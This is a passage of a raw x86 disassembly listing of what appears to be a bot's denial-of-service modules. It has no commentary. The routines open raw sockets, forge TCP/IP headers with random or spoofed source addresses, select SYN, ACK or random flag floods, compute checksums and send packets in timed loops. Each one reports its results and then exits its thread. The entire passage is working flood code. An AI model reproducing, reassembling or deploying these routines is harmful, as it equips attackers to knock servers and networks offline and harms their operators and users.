ptr -24h var_22 = word ptr -22h var_20 = byte ptr -20h var_1E = word ptr -1Eh var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 284h push ebx push edi push 0Eh xor ebx, ebx pop ecx xor eax, eax lea edi, [ebp+var_B3] mov [ebp+var_B4], bl rep stosd stosw stosb lea eax, [ebp+var_284] push eax push 202h call dword_4CB5A4 ; WSAStartup test eax, eax jz short loc_4138AB xor eax, eax jmp loc_413B19 ; --------------------------------------------------------------------------- loc_4138AB: ; CODE XREF: sub_41386B+37j push 1 pop edi push edi push ebx push ebx push 0FFh push 3 push 2 call dword_4CB6D8 ; WSASocketA cmp eax, 0FFFFFFFFh mov [ebp+var_C], eax jz loc_413B11 push esi lea ecx, [ebp+var_38] push 4 push ecx push 2 push ebx push eax mov [ebp+var_38], edi call dword_4CB614 ; setsockopt cmp eax, 0FFFFFFFFh jz loc_413B07 push 10h lea eax, [ebp+var_50] push ebx push eax call sub_41B590 add esp, 0Ch mov [ebp+var_50], 2 push [ebp+arg_8] call dword_4CB634 ; htons mov esi, [ebp+arg_0] push 28h mov [ebp+var_4E], ax mov [ebp+var_4C], esi mov [ebp+var_20], 45h call dword_4CB634 ; htons push [ebp+arg_8] mov [ebp+var_1E], ax mov [ebp+var_1C], di mov [ebp+var_1A], bx mov [ebp+var_18], 80h mov [ebp+var_17], 6 mov [ebp+var_16], bx mov [ebp+var_10], esi call dword_4CB634 ; htons push 4000h mov [ebp+var_32], ax mov [ebp+var_2C], ebx mov [ebp+var_28], 50h mov [ebp+var_27], 2 call dword_4CB634 ; htons mov [ebp+var_26], ax lea eax, [ebp+var_40] push eax mov [ebp+var_22], bx mov [ebp+arg_8], ebx call dword_427134 ; QueryPerformanceFrequency lea eax, [ebp+var_8] push eax call dword_427130 ; QueryPerformanceCounter push [ebp+var_3C] mov eax, [ebp+arg_C] cdq push [ebp+var_40] push edx push eax call sub_41D280 add eax, [ebp+var_8] mov esi, edx adc esi, [ebp+var_4] mov [ebp+var_58], eax loc_413996: ; CODE XREF: sub_41386B+25Dj ; sub_41386B+26Bj mov [ebp+var_24], bx call sub_41B8E2 cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call dword_4CB634 ; htons mov [ebp+var_34], ax call sub_41B8E2 mov edi, eax shl edi, 10h call sub_41B8E2 or edi, eax push edi call dword_4CB634 ; htons movzx eax, ax mov [ebp+var_30], eax mov eax, [ebp+arg_4] inc [ebp+arg_4] push eax call dword_4CB630 ; htonl push 14h mov [ebp+var_14], eax mov eax, [ebp+var_10] pop edi push edi mov [ebp+var_74], eax mov [ebp+var_70], bl mov [ebp+var_6F], 6 call dword_4CB634 ; htons mov [ebp+var_6E], ax mov eax, [ebp+var_14] mov [ebp+var_78], eax lea eax, [ebp+var_78] push 20h push eax lea eax, [ebp+var_B4] push eax call sub_41C310 lea eax, [ebp+var_34] push edi push eax lea eax, [ebp+var_94] push eax call sub_41C310 lea eax, [ebp+var_B4] push 34h push eax call sub_40AC68 mov [ebp+var_24], ax lea eax, [ebp+var_20] push edi push eax lea eax, [ebp+var_B4] push eax call sub_41C310 lea eax, [ebp+var_34] push edi push eax lea eax, [ebp+var_A0] push eax call sub_41C310 push 4 lea eax, [ebp+var_8C] push ebx push eax call sub_41B590 add esp, 44h lea eax, [ebp+var_B4] push 28h push eax call sub_40AC68 mov [ebp+var_16], ax lea eax, [ebp+var_20] push edi push eax lea eax, [ebp+var_B4] push eax call sub_41C310 add esp, 14h lea eax, [ebp+var_50] push 10h push eax push ebx lea eax, [ebp+var_B4] push 28h push eax push [ebp+var_C] call dword_4CB698 ; sendto cmp eax, 0FFFFFFFFh jz short loc_413ADB add [ebp+arg_8], eax lea eax, [ebp+var_8] push eax call dword_427130 ; QueryPerformanceCounter mov eax, [ebp+var_4] cmp eax, esi jg short loc_413B04 jl loc_413996 mov eax, [ebp+var_8] cmp eax, [ebp+var_58] jnb short loc_413B04 jmp loc_413996 ; --------------------------------------------------------------------------- loc_413ADB: ; CODE XREF: sub_41386B+247j call dword_4CB5C8 ; WSAGetLastError push eax lea eax, [ebp+var_F4] push offset unk_43640C push eax call sub_41B886 lea eax, [ebp+var_F4] push eax call sub_4151AC add esp, 10h jmp short loc_413B07 ; --------------------------------------------------------------------------- loc_413B04: ; CODE XREF: sub_41386B+25Bj ; sub_41386B+269j mov ebx, [ebp+arg_8] loc_413B07: ; CODE XREF: sub_41386B+78j ; sub_41386B+297j push [ebp+var_C] call dword_4CB6CC ; closesocket pop esi loc_413B11: ; CODE XREF: sub_41386B+5Bj call dword_4CB58C ; WSACleanup mov eax, ebx loc_413B19: ; CODE XREF: sub_41386B+3Bj pop edi pop ebx leave retn sub_41386B endp ; =============== S U B R O U T I N E ======================================= sub_413B1D proc near ; CODE XREF: sub_4137CC+3Cp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push esi push edi push [esp+0Ch+arg_0] call sub_40AAF9 push [esp+10h+arg_4] mov esi, eax call sub_41B779 push [esp+14h+arg_8] mov ebx, eax call sub_41B779 mov edi, eax call sub_41B8E2 cdq mov ecx, 200h push edi idiv ecx push ebx lea eax, [edx+esi+100h] push eax push esi call sub_41386B add esp, 1Ch test eax, eax jnz short loc_413B68 push 1 pop eax loc_413B68: ; CODE XREF: sub_413B1D+46j cdq mov ecx, 3E8h idiv ecx cdq idiv edi pop edi pop esi pop ebx retn sub_413B1D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413B77 proc near ; DATA XREF: sub_401ACD+6E44o var_394 = byte ptr -394h var_194 = dword ptr -194h var_190 = byte ptr -190h var_110 = byte ptr -110h var_90 = byte ptr -90h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 394h mov eax, [ebp+arg_0] push esi push edi push 65h pop ecx mov esi, eax lea edi, [ebp+var_194] rep movsd mov dword ptr [eax+190h], 1 lea eax, [ebp+var_110] push eax call sub_41B779 pop ecx push eax lea eax, [ebp+var_190] push eax call dword_4CB674 ; inet_addr push eax call sub_413C1A pop ecx pop ecx push eax lea eax, [ebp+var_394] push offset dword_43642C push eax call sub_41B886 xor esi, esi add esp, 0Ch cmp [ebp+var_8], esi jnz short loc_413BFB push esi lea eax, [ebp+var_394] push [ebp+var_C] push eax lea eax, [ebp+var_90] push eax push [ebp+var_194] call sub_409A72 add esp, 14h loc_413BFB: ; CODE XREF: sub_413B77+62j lea eax, [ebp+var_394] push eax call sub_4151AC push [ebp+var_10] call sub_40B412 pop ecx pop ecx push esi call dword_4270CC ; ExitThread pop edi pop esi sub_413B77 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413C1A proc near ; CODE XREF: sub_413B77+41p var_98 = word ptr -98h var_96 = word ptr -96h var_94 = dword ptr -94h var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = byte ptr -24h var_23 = byte ptr -23h var_22 = word ptr -22h var_20 = word ptr -20h var_1E = word ptr -1Eh var_1C = byte ptr -1Ch var_1B = byte ptr -1Bh var_1A = word ptr -1Ah var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 98h push ebx push esi push edi push 1 pop ecx and [ebp+var_88], 0 push 4 and [ebp+var_58], 0 pop esi mov ebx, 0FFh push 6 xor eax, eax pop edx lea edi, [ebp+var_54] mov [ebp+var_84], ecx mov [ebp+var_80], 2 mov [ebp+var_7C], esi mov [ebp+var_78], edx mov [ebp+var_74], 8 mov [ebp+var_70], 0Ch mov [ebp+var_6C], 11h mov [ebp+var_68], 16h mov [ebp+var_64], 29h mov [ebp+var_60], 3Ah mov [ebp+var_5C], ebx mov [ebp+var_50], eax stosd lea edi, [ebp+var_2C] mov [ebp+var_4C], eax mov [ebp+var_48], eax mov [ebp+var_44], 2000h mov [ebp+var_40], esi mov [ebp+var_3C], edx mov [ebp+var_38], 3FFFh mov [ebp+var_34], ecx mov [ebp+var_30], eax mov [ebp+var_28], ecx stosd mov edi, 100h push edi call sub_41CFC5 pop ecx mov [ebp+var_4], eax push edi push eax call dword_4CB648 ; gethostname push [ebp+var_4] call dword_4CB6B8 ; gethostbyname mov eax, [eax+0Ch] push ebx push 3 push 2 mov eax, [eax] mov eax, [eax] mov [ebp+var_C], eax call dword_4CB6B4 ; socket lea ecx, [ebp+var_28] push esi push ecx push 2 push 0 push eax mov [ebp+var_4], eax call dword_4CB614 ; setsockopt mov esi, 200h push esi call sub_41B4D5 mov edi, dword_4270A8 pop ecx mov [ebp+var_8], eax call edi ; GetTickCount mov [ebp+var_10], eax mov eax, [ebp+arg_0] push 29Ah mov [ebp+var_94], eax mov [ebp+var_98], 2 call dword_4CB634 ; htons mov [ebp+var_96], ax loc_413D35: ; CODE XREF: sub_413C1A+1FCj call edi ; GetTickCount sub eax, [ebp+var_10] xor edx, edx mov ecx, 3E8h div ecx cmp eax, [ebp+arg_4] ja loc_413E1B call sub_41B8E2 cdq mov ecx, ebx idiv ecx mov eax, [ebp+var_C] and eax, 0FFFFFFh shl edx, 18h or edx, eax mov [ebp+var_C], edx call sub_41B8E2 cdq mov ecx, ebx idiv ecx mov [ebp+var_54], edx call sub_41B8E2 cdq mov ecx, 1FA4h mov [ebp+var_24], 45h idiv ecx mov [ebp+var_23], 4 mov [ebp+var_2C], edx call sub_41B8E2 mov [ebp+var_20], ax call sub_41B8E2 push 0Ah cdq pop ecx idiv ecx mov ax, word ptr [ebp+edx*4+var_50] push eax call dword_4CB634 ; htons push esi mov [ebp+var_1E], ax call dword_4CB634 ; htons mov [ebp+var_22], ax mov [ebp+var_1C], bl call sub_41B8E2 push 0Eh cdq pop ecx idiv ecx push 14h mov al, byte ptr [ebp+edx*4+var_88] mov [ebp+var_1B], al mov eax, [ebp+var_C] mov [ebp+var_18], eax mov eax, [ebp+arg_0] mov [ebp+var_14], eax lea eax, [ebp+var_24] push eax call sub_40AC68 mov [ebp+var_1A], ax lea eax, [ebp+var_24] push 14h push eax push [ebp+var_8] call sub_41C310 add esp, 14h lea eax, [ebp+var_98] push 10h push eax push 0 push esi push [ebp+var_8] push [ebp+var_4] call dword_4CB698 ; sendto jmp loc_413D35 ; --------------------------------------------------------------------------- loc_413E1B: ; CODE XREF: sub_413C1A+12Cj push [ebp+var_8] call sub_41B0B1 pop ecx push [ebp+var_4] call dword_4CB6CC ; closesocket push 1 pop eax pop edi pop esi pop ebx leave retn sub_413C1A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413E35 proc near ; DATA XREF: sub_401ACD+53E8o var_440 = byte ptr -440h var_240 = dword ptr -240h var_23C = byte ptr -23Ch var_1BC = byte ptr -1BCh var_13C = byte ptr -13Ch var_BC = dword ptr -0BCh var_B8 = dword ptr -0B8h var_B4 = dword ptr -0B4h var_B0 = dword ptr -0B0h var_AC = dword ptr -0ACh var_A8 = dword ptr -0A8h var_A0 = byte ptr -0A0h var_9F = byte ptr -9Fh var_8C = byte ptr -8Ch var_80 = byte ptr -80h var_78 = byte ptr -78h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = byte ptr -5Ch var_5B = byte ptr -5Bh var_5A = word ptr -5Ah var_44 = word ptr -44h var_42 = word ptr -42h var_40 = dword ptr -40h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = byte ptr -2Ch var_2A = word ptr -2Ah var_28 = word ptr -28h var_26 = word ptr -26h var_24 = byte ptr -24h var_23 = byte ptr -23h var_22 = word ptr -22h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = byte ptr -0Ch var_B = byte ptr -0Bh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 440h mov eax, [ebp+arg_0] push ebx push esi push edi push 68h mov esi, eax pop ecx lea edi, [ebp+var_240] rep movsd push 1 xor ebx, ebx pop esi lea edi, [ebp+var_9F] push 0Eh mov [eax+19Ch], esi pop ecx xor eax, eax mov [ebp+var_A0], bl rep stosd stosw stosb mov edi, dword_4270A8 call edi ; GetTickCount push eax call sub_41B8D8 pop ecx push 0FFh push 3 push 2 call dword_4CB6B4 ; socket cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jnz short loc_413EFE call dword_4CB5C8 ; WSAGetLastError push eax lea eax, [ebp+var_440] push offset unk_436544 push eax call sub_41B886 add esp, 0Ch cmp [ebp+var_A8], ebx jnz short loc_413EDE push ebx lea eax, [ebp+var_440] push [ebp+var_AC] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_240] call sub_409A72 add esp, 14h loc_413EDE: ; CODE XREF: sub_413E35+84j lea eax, [ebp+var_440] push eax call sub_4151AC push [ebp+var_BC] call sub_40B412 pop ecx pop ecx push ebx call dword_4270CC ; ExitThread loc_413EFE: ; CODE XREF: sub_413E35+61j lea ecx, [ebp+var_34] push 4 push ecx push 2 push ebx push eax mov [ebp+var_34], esi call dword_4CB614 ; setsockopt cmp eax, 0FFFFFFFFh jnz short loc_413F7C call dword_4CB5C8 ; WSAGetLastError push eax lea eax, [ebp+var_440] push offset unk_43650C push eax call sub_41B886 add esp, 0Ch cmp [ebp+var_A8], ebx jnz short loc_413F5C push ebx lea eax, [ebp+var_440] push [ebp+var_AC] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_240] call sub_409A72 add esp, 14h loc_413F5C: ; CODE XREF: sub_413E35+102j lea eax, [ebp+var_440] push eax call sub_4151AC push [ebp+var_BC] call sub_40B412 pop ecx pop ecx push ebx call dword_4270CC ; ExitThread loc_413F7C: ; CODE XREF: sub_413E35+DFj lea eax, [ebp+var_23C] push eax call dword_4CB674 ; inet_addr cmp eax, 0FFFFFFFFh jnz short loc_413FEC lea eax, [ebp+var_440] push offset unk_4364EC push eax call sub_41B886 cmp [ebp+var_A8], ebx pop ecx pop ecx jnz short loc_413FCC push ebx lea eax, [ebp+var_440] push [ebp+var_AC] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_240] call sub_409A72 add esp, 14h loc_413FCC: ; CODE XREF: sub_413E35+172j lea eax, [ebp+var_440] push eax call sub_4151AC push [ebp+var_BC] call sub_40B412 pop ecx pop ecx push ebx call dword_4270CC ; ExitThread loc_413FEC: ; CODE XREF: sub_413E35+157j push 10h lea eax, [ebp+var_44] push ebx push eax call sub_41B590 add esp, 0Ch mov [ebp+var_44], 2 push ebx call dword_4CB634 ; htons mov [ebp+var_42], ax lea eax, [ebp+var_23C] push eax call dword_4CB674 ; inet_addr mov [ebp+var_40], eax mov [ebp+arg_0], ebx call edi ; GetTickCount mov [ebp+var_30], eax loc_414024: ; CODE XREF: sub_413E35+430j call edi ; GetTickCount sub eax, [ebp+var_30] xor edx, edx mov ecx, 3E8h div ecx cmp eax, [ebp+var_B4] ja loc_4142E8 push 28h mov [ebp+var_2C], 45h call dword_4CB634 ; htons cmp [ebp+var_B0], ebx mov [ebp+var_2A], ax mov [ebp+var_28], si mov [ebp+var_26], bx mov [ebp+var_24], 80h mov [ebp+var_23], 6 mov [ebp+var_22], bx jz short loc_414097 call sub_41B8E2 mov esi, eax shl esi, 8 call sub_41B8E2 add esi, eax shl esi, 8 call sub_41B8E2 add esi, eax shl esi, 8 call sub_41B8E2 add esi, eax push 1 mov [ebp+var_20], esi pop esi jmp short loc_4140AD ; --------------------------------------------------------------------------- loc_414097: ; CODE XREF: sub_413E35+233j push [ebp+var_240] call sub_40AC0F pop ecx push eax call dword_4CB674 ; inet_addr mov [ebp+var_20], eax loc_4140AD: ; CODE XREF: sub_413E35+260j mov eax, [ebp+var_40] cmp [ebp+var_B8], ebx mov [ebp+var_1C], eax jnz short loc_4140CB call sub_41B8E2 cdq mov ecx, 401h idiv ecx push edx jmp short loc_4140D1 ; --------------------------------------------------------------------------- loc_4140CB: ; CODE XREF: sub_413E35+284j push [ebp+var_B8] loc_4140D1: ; CODE XREF: sub_413E35+294j call dword_4CB634 ; htons mov [ebp+var_16], ax call sub_41B8E2 cdq mov ecx, 401h idiv ecx push edx call dword_4CB634 ; htons push 12345678h mov [ebp+var_18], ax call dword_4CB630 ; htonl mov [ebp+var_14], eax lea eax, [ebp+var_1BC] push offset aSyn ; "syn" push eax call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_414121 mov [ebp+var_10], ebx mov [ebp+var_B], 2 jmp short loc_41417D ; --------------------------------------------------------------------------- loc_414121: ; CODE XREF: sub_413E35+2E1j lea eax, [ebp+var_1BC] push offset aAck ; "ack" push eax call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_414141 mov [ebp+var_10], ebx mov [ebp+var_B], 10h jmp short loc_41417D ; --------------------------------------------------------------------------- loc_414141: ; CODE XREF: sub_413E35+301j lea eax, [ebp+var_1BC] push offset aRandom_0 ; "random" push eax call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_41417D call sub_41B8E2 push 3 cdq pop ecx idiv ecx mov [ebp+var_10], edx call sub_41B8E2 push 2 cdq pop ecx idiv ecx neg edx sbb dl, dl and dl, 0Eh add dl, cl mov [ebp+var_B], dl loc_41417D: ; CODE XREF: sub_413E35+2EAj ; sub_413E35+30Aj ... push 200h mov [ebp+var_C], 50h call dword_4CB634 ; htons mov [ebp+var_A], ax mov eax, [ebp+var_20] mov [ebp+var_64], eax mov eax, [ebp+var_1C] push 14h mov [ebp+var_6], bx mov [ebp+var_8], bx mov [ebp+var_60], eax mov [ebp+var_5C], bl mov [ebp+var_5B], 6 call dword_4CB634 ; htons mov [ebp+var_5A], ax lea eax, [ebp+var_64] push 20h push eax lea eax, [ebp+var_A0] push eax call sub_41C310 lea eax, [ebp+var_18] push 14h push eax lea eax, [ebp+var_80] push eax call sub_41C310 lea eax, [ebp+var_A0] push 34h push eax call sub_40AC68 mov [ebp+var_8], ax lea eax, [ebp+var_2C] push 14h push eax lea eax, [ebp+var_A0] push eax call sub_41C310 lea eax, [ebp+var_18] push 14h push eax lea eax, [ebp+var_8C] push eax call sub_41C310 push 4 lea eax, [ebp+var_78] push ebx push eax call sub_41B590 add esp, 44h lea eax, [ebp+var_A0] push 28h push eax call sub_40AC68 mov [ebp+var_22], ax lea eax, [ebp+var_2C] push 14h push eax lea eax, [ebp+var_A0] push eax call sub_41C310 add esp, 14h lea eax, [ebp+var_44] push 10h push eax push ebx lea eax, [ebp+var_A0] push 3Ch push eax push [ebp+var_4] call dword_4CB698 ; sendto cmp eax, 0FFFFFFFFh jz short loc_41426A inc [ebp+arg_0] jmp loc_414024 ; --------------------------------------------------------------------------- loc_41426A: ; CODE XREF: sub_413E35+42Bj push [ebp+var_4] call dword_4CB6CC ; closesocket call dword_4CB5C8 ; WSAGetLastError push eax lea eax, [ebp+var_23C] push [ebp+arg_0] push eax push offset unk_43649C lea eax, [ebp+var_440] push 200h push eax call sub_41B980 add esp, 18h cmp [ebp+var_A8], ebx jnz short loc_4142C8 push ebx lea eax, [ebp+var_440] push [ebp+var_AC] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_240] call sub_409A72 add esp, 14h loc_4142C8: ; CODE XREF: sub_413E35+46Ej lea eax, [ebp+var_440] push eax call sub_4151AC push [ebp+var_BC] call sub_40B412 pop ecx pop ecx push ebx call dword_4270CC ; ExitThread loc_4142E8: ; CODE XREF: sub_413E35+203j push [ebp+var_4] call dword_4CB6CC ; closesocket mov eax, [ebp+arg_0] xor edx, edx imul eax, 3Ch mov ecx, eax shr eax, 0Ah div [ebp+var_B4] shr ecx, 14h push ecx push eax lea eax, [ebp+var_23C] push [ebp+arg_0] push eax lea eax, [ebp+var_1BC] push eax lea eax, [ebp+var_440] push offset unk_43644C push eax call sub_41B886 add esp, 1Ch cmp [ebp+var_A8], ebx jnz short loc_414359 push ebx lea eax, [ebp+var_440] push [ebp+var_AC] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_240] call sub_409A72 add esp, 14h loc_414359: ; CODE XREF: sub_413E35+4FFj lea eax, [ebp+var_440] push eax call sub_4151AC push [ebp+var_BC] call sub_40B412 pop ecx pop ecx push ebx call dword_4270CC ; ExitThread sub_413E35 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414379 proc near ; CODE XREF: sub_414483+19Ap ; sub_414483+1A9p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_4] mov edx, [ebp+arg_0] push esi xor esi, esi cmp eax, 1 mov [ebp+arg_4], esi jle short loc_4143A5 mov ecx, eax push edi shr ecx, 1 lea edi, [ecx+ecx] sub eax, edi loc_414397: ; CODE XREF: sub_414379+26j movzx edi, word ptr [edx] add esi, edi inc edx inc edx dec ecx jnz short loc_414397 pop edi cmp eax, 1 loc_4143A5: ; CODE XREF: sub_414379+12j jnz short loc_4143B2 mov al, [edx] mov byte ptr [ebp+arg_4], al movzx eax, word ptr [ebp+arg_4] add esi, eax loc_4143B2: ; CODE XREF: sub_414379:loc_4143A5j mov ecx, esi and esi, 0FFFFh sar ecx, 10h add ecx, esi pop esi mov eax, ecx sar eax, 10h add eax, ecx not eax pop ebp retn sub_414379 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4143CB proc near ; DATA XREF: sub_401ACD+6D49o var_394 = byte ptr -394h var_194 = dword ptr -194h var_190 = byte ptr -190h var_110 = byte ptr -110h var_90 = byte ptr -90h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 394h mov eax, [ebp+arg_0] push esi push edi push 65h pop ecx mov esi, eax lea edi, [ebp+var_194] rep movsd mov dword ptr [eax+190h], 1 lea eax, [ebp+var_110] push eax call sub_41B779 pop ecx push eax lea eax, [ebp+var_190] push eax call dword_4CB674 ; inet_addr push eax lea esi, [ebp+var_194] sub esp, 194h push 65h pop ecx mov edi, esp rep movsd call sub_414483 add esp, 19Ch push eax lea eax, [ebp+var_394] push offset unk_436578 push eax call sub_41B886 xor esi, esi add esp, 0Ch cmp [ebp+var_8], esi jnz short loc_414466 push esi lea eax, [ebp+var_394] push [ebp+var_C] push eax lea eax, [ebp+var_90] push eax push [ebp+var_194] call sub_409A72 add esp, 14h loc_414466: ; CODE XREF: sub_4143CB+79j lea eax, [ebp+var_394] push eax call sub_4151AC push [ebp+var_10] call sub_40B412 pop ecx pop ecx push esi call dword_4270CC ; ExitThread sub_4143CB endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414483 proc near ; CODE XREF: sub_4143CB+54p var_CC = byte ptr -0CCh var_AC = dword ptr -0ACh var_A8 = dword ptr -0A8h var_A4 = byte ptr -0A4h var_A3 = byte ptr -0A3h var_A2 = word ptr -0A2h var_A0 = byte ptr -0A0h var_8C = byte ptr -8Ch var_78 = word ptr -78h var_76 = word ptr -76h var_74 = dword ptr -74h var_68 = byte ptr -68h var_64 = byte ptr -64h var_63 = byte ptr -63h var_62 = byte ptr -62h var_58 = dword ptr -58h var_54 = byte ptr -54h var_52 = word ptr -52h var_50 = word ptr -50h var_4E = word ptr -4Eh var_4C = byte ptr -4Ch var_4B = byte ptr -4Bh var_4A = word ptr -4Ah var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = word ptr -40h var_3E = word ptr -3Eh var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = word ptr -30h var_2E = word ptr -2Eh var_2C = word ptr -2Ch var_28 = byte ptr -28h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_194 = dword ptr 19Ch arg_198 = dword ptr 1A0h push ebp mov ebp, esp sub esp, 0CCh push ebx push esi mov esi, dword_4270A8 xor ebx, ebx push edi mov [ebp+var_4], ebx call esi ; GetTickCount push 0FFh push 3 push 2 mov [ebp+var_10], eax call dword_4CB6B4 ; socket mov [ebp+var_8], eax call esi ; GetTickCount push eax call sub_41B8D8 pop ecx mov edi, 578h push edi push 9 push 1 call sub_418684 pop ecx pop ecx push eax lea eax, [ebp+var_28] push eax call sub_41B590 add esp, 0Ch mov esi, 5A0h loc_4144DD: ; CODE XREF: sub_414483+235j call dword_4270A8 ; GetTickCount sub eax, [ebp+var_10] xor edx, edx mov ecx, 3E8h div ecx cmp eax, [ebp+arg_198] ja loc_4146BD cmp dword_4CEDE8, ebx jnz short loc_41455C push 10h pop eax mov [ebp+var_14], eax push eax lea eax, [ebp+var_68] push ebx push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_14] push eax lea eax, [ebp+var_68] push eax push [ebp+arg_0] call dword_4CB5D8 ; getsockname push 0FFh push 1 call sub_418684 pop ecx pop ecx push eax movzx eax, [ebp+var_62] push eax movzx eax, [ebp+var_63] push eax movzx eax, [ebp+var_64] push eax lea eax, [ebp+var_CC] push offset aD_D_D_D ; "%d.%d.%d.%d" push eax call sub_41B886 add esp, 18h jmp short loc_41456F ; --------------------------------------------------------------------------- loc_41455C: ; CODE XREF: sub_414483+7Ej lea eax, [ebp+var_CC] push offset dword_4CE7C8 push eax call sub_41BEB0 pop ecx pop ecx loc_41456F: ; CODE XREF: sub_414483+D7j lea eax, [ebp+var_CC] push eax call dword_4CB674 ; inet_addr mov [ebp+var_C], eax mov eax, [ebp+var_58] and al, 45h push esi or al, 45h mov [ebp+var_54], 10h mov [ebp+var_58], eax call dword_4CB634 ; htons mov [ebp+var_52], ax call sub_41B8E2 mov [ebp+var_50], ax mov eax, [ebp+var_C] mov [ebp+var_48], eax mov eax, [ebp+arg_194] mov [ebp+var_4E], 40h mov [ebp+var_4C], 40h mov [ebp+var_4B], 6 mov [ebp+var_4A], bx mov [ebp+var_44], eax call sub_41B8E2 mov [ebp+var_40], ax call sub_41B8E2 mov [ebp+var_3E], ax call sub_41B8E2 mov [ebp+var_3C], eax call sub_41B8E2 mov [ebp+var_38], eax mov eax, [ebp+var_34] and ax, 0FF50h push 14h or al, 50h mov byte ptr [ebp+var_34+2], 18h mov word ptr [ebp+var_34], ax mov ax, [ebp+var_3E] mov [ebp+var_76], ax mov eax, [ebp+var_44] mov [ebp+var_74], eax lea eax, [ebp+var_58] push eax mov [ebp+var_30], 787Dh mov [ebp+var_2E], bx mov [ebp+var_2C], bx mov [ebp+var_78], 2 call sub_414379 mov [ebp+var_4A], ax lea eax, [ebp+var_58] push 28h push eax call sub_414379 mov eax, [ebp+var_48] add esp, 10h mov [ebp+var_AC], eax mov eax, [ebp+var_44] push 58Ch mov [ebp+var_A8], eax mov [ebp+var_A4], bl mov [ebp+var_A3], 6 call dword_427210 ; htons mov [ebp+var_A2], ax lea eax, [ebp+var_A0] push 14h push eax lea eax, [ebp+var_40] push eax call sub_41C310 lea eax, [ebp+var_8C] push edi push eax lea eax, [ebp+var_28] push eax call sub_41C310 lea eax, [ebp+var_AC] push 598h push eax call sub_414379 add esp, 20h mov [ebp+var_2E], ax push 10h lea eax, [ebp+var_78] push eax push ebx lea eax, [ebp+var_58] push esi push eax push [ebp+var_8] call dword_4CB698 ; sendto inc [ebp+var_4] jmp loc_4144DD ; --------------------------------------------------------------------------- loc_4146BD: ; CODE XREF: sub_414483+72j push [ebp+var_8] call dword_4CB6CC ; closesocket mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_414483 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4146CE proc near ; DATA XREF: sub_401ACD+4CBFo var_414 = byte ptr -414h var_214 = byte ptr -214h var_10 = dword ptr -10h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 414h mov edx, [ebp+arg_0] push esi mov eax, 85h push edi mov ecx, eax mov esi, edx lea edi, [ebp+var_214] sub esp, 214h rep movsd mov ecx, eax lea esi, [ebp+var_214] mov edi, esp mov dword ptr [edx+210h], 1 rep movsd call sub_414745 add esp, 214h push eax lea eax, [ebp+var_414] push offset unk_4365AC push eax call sub_41B886 lea eax, [ebp+var_414] push eax call sub_4151AC push [ebp+var_10] call sub_40B412 add esp, 14h push 0 call dword_4270CC ; ExitThread sub_4146CE endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414745 proc near ; CODE XREF: sub_4146CE+3Bp var_254 = byte ptr -254h var_54 = byte ptr -54h var_34 = byte ptr -34h var_30 = byte ptr -30h var_2F = byte ptr -2Fh var_2E = byte ptr 